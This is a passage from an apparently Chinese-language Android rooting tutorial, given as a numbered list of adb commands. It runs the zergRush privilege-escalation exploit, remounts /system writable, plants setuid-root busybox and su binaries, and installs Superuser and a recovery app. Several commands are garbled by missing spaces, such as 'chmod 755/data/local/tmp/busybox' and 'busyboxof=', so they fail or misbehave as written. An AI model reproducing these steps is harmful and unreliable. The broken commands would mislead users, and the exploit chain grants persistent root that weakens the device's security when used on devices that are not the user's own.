 adb shell "chmod 777 /data/local/tmp/zergRush"

 adb shell "/data/local/tmp/zergRush"

 adb wait-for-device

4.上传busybox、给busybox文件执行权限,以可以方式加载文件系统

 adb push c:\busybox /data/local/tmp/

 adb shell "chmod 755/data/local/tmp/busybox"

 adb shell "/data/local/tmp/busybox mount -oremount,rw /system"

5.复制busybox,修改所在的组及设置s位

 adb shell "dd if=/data/local/tmp/busyboxof=/system/xbin/busybox"

 adb shell "chown root.shell/system/xbin/busybox"

 adb shell "chmod 04755/system/xbin/busybox"

6.安装busybox并删除临时文件

 adb shell "/system/xbin/busybox --install -s/system/xbin"

 adb shell "rm -rf/data/local/tmp/busybox"

7.对su进行类似busybox的处理

 adb push c:\fu /system/bin/su

 adb shell "chown root.shell/system/bin/su"

 adb shell "chmod 06755 /system/bin/su"

 adb shell "rm /system/xbin/su"

 adb shell "ln -s /system/bin/su /system/xbin/su"

8.安装其它工具

 adb push c:\superuser.apk /system/app/

 adb shell "cd /data/local/tmp/; rm *"

 adb reboot

 adb wait-for-device

 adb install c:\recovery.apk

 

本文标签: 机制androidroot